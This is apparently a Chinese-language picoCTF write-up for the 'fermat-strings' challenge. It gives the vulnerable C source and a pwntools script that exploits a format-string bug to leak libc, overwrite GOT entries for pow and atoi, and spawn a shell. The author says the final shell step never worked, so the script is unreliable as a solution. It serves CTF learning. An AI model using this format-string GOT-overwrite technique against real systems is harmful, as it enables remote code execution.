PicoCTF - fermat-strings
Background
該函數返回 str1 開頭連續都不含字符串 str2 中字符的字符數。
這個函數返回一個int值轉換的整數。如果冇有有效的轉換可以執行,它返回零。
snprintf() 函數的返回值是輸出到 str 緩沖區中的字符數,不包括字符串結尾的空字符 \0。如果 snprintf() 輸出的字符數超過了 size 參數指定的緩沖區大小,則輸出的結果會被截斷,只有 size - 1 個字符被寫入緩沖區,最後一個字符為字符串結尾的空字符 \0。
需要注意的是,snprintf() 函數返回的字符數並不包括字符串結尾的空字符 \0,因此如果需要將輸出結果作為一個字符串使用,則需要在緩沖區的末尾添加一個空字符 \0。
Source code
:::spoiler
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <math.h>
#define SIZE 0x100
int main(void)
{
char A[SIZE];
char B[SIZE];
int a = 0;
int b = 0;
puts("Welcome to Fermat\\'s Last Theorem as a service");
setbuf(stdout, NULL);
setbuf(stdin, NULL);
setbuf(stderr, NULL);
printf("A: ");
read(0, A, SIZE);
printf("B: ");
read(0, B, SIZE);
A[strcspn(A, "\n")] = 0;
B[strcspn(B, "\n")] = 0;
a = atoi(A);
b = atoi(B);
if(a == 0 || b == 0) {
puts("Error: could not parse numbers!");
return 1;
}
char buffer[SIZE];
snprintf(buffer, SIZE, "Calculating for A: %s and B: %s\n", A, B);
printf(buffer);
int answer = -1;
for(int i = 0; i < 100; i++) {
if(pow(a, 3) + pow(b, 3) == pow(i, 3)) {
answer = i;
}
}
if(answer != -1) printf("Found the answer: %d\n", answer);
}
:::
Recon
這一題太難了,可以參考的資料太少了,大部分都有一些缺失,而且重點是server那邊的版本和local端不一樣就會造成got hijack失敗,所以最後沒有做出來,但是流程還是可以記錄一下
- 先leak stack的資訊,例如
__libc_start_main
的address,然後到1查詢,光這一點耗費蠻多心力,雖然說只要查看stack上相對的位置,就可以leak出對應的address,但有可能是因為我local端libc version是2.35,所以找不到對應位置上libc address在database上的資料,但在server端卻找得到,這可能是不同版本的鍋,所以之後要找這種libc version的問題,最好是在2.31的地方 - 得到libc的version後,就可以算offset,得出libc base address,然後就可以得出system在libc的確切位址,又由於這隻程式只會執行一次就結束,所以我們要讓他有loop的效果,作法就是got hijack,改掉pow的got位置為main function的address 註:為甚麼是改pow而不是atoi, snprintf之類的function的got?因為pow是比較後面被呼叫到的function,如果修改那些太早被呼叫到的function就馬上從main開始執行,這樣就沒辦法開shell了
- 接著我們可以再從第二次的input中開shell,這就是最後做不出來的地方,除了之前沒有寫過相關的題目不知道怎麼開以外,其他WP23[^picoMini-by-redpwn-2021-Darin’s-Challenges]也都會有其他的問題
Exploit
from pwn import *
exe = ELF("chall")
libc = ELF("./libc6_2.31-0ubuntu9.1_amd64.so")
context.binary = exe
context.terminal = "kitty"
offset___libc_start_main_ret = 0x026fc0
offset_system = 0x0000000000055410
# offset___libc_start_main_ret_local = 0xac0b3c2270
# offset_system_local = 0x050d60
r = remote("mars.picoctf.net", 31929)
# r = process('./chall')
'''#############
leak libc address
#############'''
payload1 = b'1 %2082c%12$hn ' + p64(exe.got['pow'])
payload2 = b'2 %109$p'
r.recvuntil(b'A: ')
r.sendline(payload1)
r.recvuntil(b'B: ')
r.sendline(payload2)
print(r.recvuntil(b" 2 0x"))
return_value = int(r.recv(12).strip(), 16)
libc_addr = return_value - 243 - offset___libc_start_main_ret
success(f"Return Value = {hex(return_value)}")
success(f"libc address = {hex(libc_addr)}")
success(f"libc system address = {hex(libc_addr + offset_system)}")
# success(f"libc system address = {hex(libc_addr + offset_system_local)}")
# success(f"libc address = {hex(libc_addr - offset___libc_start_main_ret_local)}")
'''#############
Get Shell
#############'''
# raw_input()
third = (libc.sym['system']>>16)&0xff
bottom = libc.sym['system'] & 0xffff
first = third - 21
second = bottom - third
payload1 = f'1 %{first}c%43$hhn%{second}c%44$hn'
payload2 = b'2'.ljust(8, b' ') + p64(exe.got['atoi']+2) + p64(exe.got['atoi'])
r.recvuntil(b'A: ')
r.sendline(payload1)
r.recvuntil(b'B: ')
r.sendline(payload2)
r.interactive()
Flag: picoCTF{f3rm4t_pwn1ng_s1nc3_th3_17th_c3ntury}